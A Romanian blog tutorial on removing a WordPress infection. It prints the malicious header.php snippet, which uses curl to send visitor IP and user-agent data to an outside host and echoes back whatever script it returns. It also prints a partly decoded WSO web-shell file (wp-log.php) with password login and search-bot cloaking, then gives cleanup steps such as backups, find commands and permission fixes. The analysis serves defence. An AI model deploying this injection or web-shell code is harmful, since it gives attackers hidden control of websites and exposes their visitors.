Remove WordPress PHP Virus

Acest tutorial prezintă un caz particular în care un blog WordPress a fost virusat. Remove WordPress PHP Virus.

Zilele trecute am observat un cod suspect ce pare a fi un virus PHP pentru WordPress. Următorul cod PHP era prezent în header.php, înaintea liniei </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Acesta este un cod PHP care, după cum arată, încearcă să recupereze conținutul unei resurse de pe un server extern, dar partea care se referă la adresa URL este incompletă.

Mecanismul de funcționare este ceva mai complex și face acest WordPress PHP Virus invizibil pentru vizitatorii site-urilor afectate. În schimb, acesta vizează motoarele de căutare (Google) și duce implicit la scăderea semnificativă a numărului de vizitatori pe website-urile afectate.

Detalii ale malware WordPress PHP Virus

1. Codul de mai sus este prezent în header.php.

2. Pe server a apărut un fișier wp-log.php în folderul wp-includes.

3. wp-log.php conține un cod criptat, dar care este relativ ușor de decriptat.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Decriptare cod malware din wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Acesta pare a fi un script PHP malware care conține cod pentru a gestiona autentificarea și acțiuni asupra fișierelor și directoarelor pe un server. Se poate observa foarte ușor că acest script conține variabile precum $auth_pass (parola de autentificare), $default_action (acțiunea implicită), $default_use_ajax (folosirea implicită a Ajax) și $default_charset (setarea implicită a caracterelor).

În mod evident, acest script are o secțiune care verifică agenții de utilizatori HTTP pentru a bloca accesul anumitor roboți web, cum ar fi motoarele de căutare. De asemenea, are și o secțiune care verifică modul de securitate PHP și setează anumite directoare de lucru.

4. Dacă wp-log.php este accesat în browser, apare o pagină web cu un câmp de autentificare. La prima vedere pare a fi un file manager prin care pot fi urcate ușor noi fișiere pe serverul țintă.

Cum devirusezi un website WordPress?

Întotdeauna, procesul de devirusare manuală presupune să descoperi și să înțelegi în primul rând, care a fost vulnerabilitatea.

1. Genereaza un un backup pentru întregul website. Acesta trebuie să includă atât fișierele cât și baza de date.

2. Determină cu aproximație de cât timp a apărut virusul și caută pe serverul web fișierele modificate sau noi create în intervalul de timp aproximat.

De exemplu, dacă vrei să vezi fișierele .php create sau modificate în ultima săptămănă, execută în server comanda:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Este o metodă simplă prin care poți să decoperi fișierele WordPress virusate și pe cele care conțin codul malware.

3. Verificați fișierul .htaccess de directive suspecte. Linii de permisiuni sau de executare script.

4. Verificați baza de date. Este foarte posibil ca unele postări și pagini WordPress să fi fost editate cu coduri malware sau să fie adăugați noi utilizatori cu rol de administrator.

5. Verificați permisiunile de scriere pentru foldere și pentru fisiere. chmod și chown.

Permisiunile recomandate sunt: 644 pentru fișiere și 755 pentru directoare.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Actualizați toate WordPress Plugins / WordPress Themes.

Related: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Acestea sunt metode “basic” prin care poți să devirusezi un website / blog WordPress. Dacă întâmpini probleme și ai nevoie de ajutor, rubrica de comentarii este deschisă.

Pasionat de tehnologie, scriu cu plăcere pe StealthSettings.com începând cu anul 2006. Am o bogată experiență în sistemele de operare: macOS, Windows și Linux, dar și în limbaje de programare și platforme de blogging (WordPress) și pentru magazine online (WooCommerce, Magento, PrestaShop).

How to » WordPress » Remove WordPress PHP Virus
Leave a Comment